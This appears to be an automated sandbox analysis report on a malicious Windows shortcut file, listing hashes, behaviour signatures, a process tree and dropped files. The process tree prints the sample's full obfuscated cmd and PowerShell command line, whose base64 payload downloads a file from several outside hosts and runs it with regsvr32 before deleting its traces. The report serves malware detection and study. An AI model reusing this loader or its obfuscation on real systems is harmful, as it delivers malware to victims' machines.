Overview

overview

8

Static

static

1

505749e24d...f3.lnk

windows7-x64

6

505749e24d...f3.lnk

windows10-2004-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 03:09

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General

  • Target

    505749e24d2ed2cef8c810c1b363d677192dffa0602562ec1d583d1024428ff3.lnk

  • Size

    2KB

  • MD5

    7181932499a362d0f511204daff892a1

  • SHA1

    74e4f14fb09a5179df694ad88af7966cbd86c05e

  • SHA256

    505749e24d2ed2cef8c810c1b363d677192dffa0602562ec1d583d1024428ff3

  • SHA512

    1898ce02e0fc27510c688d1ece348afb38eb86f5525f49b126d11e33fbf6263cff0e84fb3f54a844e26cc8694bb578b00c94f0dcf847e764ae0cf7f12186ed0e

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\505749e24d2ed2cef8c810c1b363d677192dffa0602562ec1d583d1024428ff3.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4712
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c AUG4YD6yp0C8FBd5f4yOYKt/tNMqr+hn0eNExEWFNL6kpdH5+vSvskK5oPd3Sx/oOkWW68Cp||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2djY29uLmluL1VwbG9hZGVkRmlsZXMvVVl0Sk5yVDJsbHh5MS8iLCJodHRwOi8vZ2FrdWRvdS5jb20vcGhvdG8wNi9oRXUvIiwiaHR0cDovL2dpYXNvdHRpLmNvbS9qcy9LaGM2bWIweng0S29XWC8iLCJodHRwOi8vcGxyZXNlbmRlLmNvbS9wY2luZm9yL2NxLyIsImh0dHA6Ly90aG9tYXNtYW50b24uY29tL3dwLWluY2x1ZGVzL293Wm5wV21INEQ4ai8iLCJodHRwOi8vZ2xhLmdlL29sZC9QdVZhZmYvIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL2puVVJ4dFJtaU8uU0toO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvam5VUnh0Um1pTy5TS2g7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\xLhSBgzPSx.ps1"; powershell -executionpolicy bypass -file "$env:TEMP\xLhSBgzPSx.ps1"; Remove-Item -Force "$env:TEMP\xLhSBgzPSx.ps1"}"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c "&{[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2djY29uLmluL1VwbG9hZGVkRmlsZXMvVVl0Sk5yVDJsbHh5MS8iLCJodHRwOi8vZ2FrdWRvdS5jb20vcGhvdG8wNi9oRXUvIiwiaHR0cDovL2dpYXNvdHRpLmNvbS9qcy9LaGM2bWIweng0S29XWC8iLCJodHRwOi8vcGxyZXNlbmRlLmNvbS9wY2luZm9yL2NxLyIsImh0dHA6Ly90aG9tYXNtYW50b24uY29tL3dwLWluY2x1ZGVzL293Wm5wV21INEQ4ai8iLCJodHRwOi8vZ2xhLmdlL29sZC9QdVZhZmYvIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL2puVVJ4dFJtaU8uU0toO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvam5VUnh0Um1pTy5TS2g7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\xLhSBgzPSx.ps1"; powershell -executionpolicy bypass -file "$env:TEMP\xLhSBgzPSx.ps1"; Remove-Item -Force "$env:TEMP\xLhSBgzPSx.ps1"}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4868
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp\xLhSBgzPSx.ps1
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1156
          • C:\Windows\system32\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp/jnURxtRmiO.SKh
            5⤵
              PID:5060

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      74fd3bb20b5c047c4ef9ff119744dc1f

      SHA1

      26ffb8c890a071c7c73c7e90789c4f2f709ddb2d

      SHA256

      950d6a3f91c5f3f823e14f14390f1ad57ddf504256262a778ca1ebe1fb91d2cf

      SHA512

      f1600c164f93cafa4b0e393892b386bf0ef98939316aabf9a90106b8fa3116adae2745a0c8037e72532e2462b973cf8aabb89ceecf9c469d0a2b0a3194c9ae3e

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lriwlfga.coa.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\jnURxtRmiO.SKh
      Filesize

      10KB

      MD5

      8ac3a82463a524d1317bf1c4adcdb51a

      SHA1

      819dacbc8cce6dcf4fbe06a870a150c9b04cd92c

      SHA256

      71fd51ec44328266459a49c9d5dd4ef5d8f7ac1bf5d15fcf714feba9340bd087

      SHA512

      5f59066734864db2008ad6588950c0d642abfddd8341799f3b106dff09244b28621708fac4b1e24f0034605eda709ac2842225467d53563de6c21ece4fe7f1a4

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\xLhSBgzPSx.ps1
      Filesize

      826B

      MD5

      9ef7ef1de13a06e15e0216447db3e3e0

      SHA1

      57806ff6bf7a70843e3e8c48a0817637c59ea32d

      SHA256

      f1e70694eec2ca06a484fbc575b97c4875cd147c6827020b3a02af23ed7b812e

      SHA512

      0d38d5ed6db9f92289f99d072ed0586ec9e129733d8af54a549e400debb43fedb5bb9c70c64e1585390394fe1b198713866a39907c577b4633d3a9178b74203f

      Download Submit

    • memory/1156-24-0x0000021BBA870000-0x0000021BBB016000-memory.dmp

      Filesize

      7.6MB

      Download

    • memory/4868-0-0x00007FFB497F3000-0x00007FFB497F5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/4868-1-0x0000029AB2880000-0x0000029AB28A2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4868-11-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4868-12-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4868-26-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4868-34-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

      Filesize

      10.8MB

      Download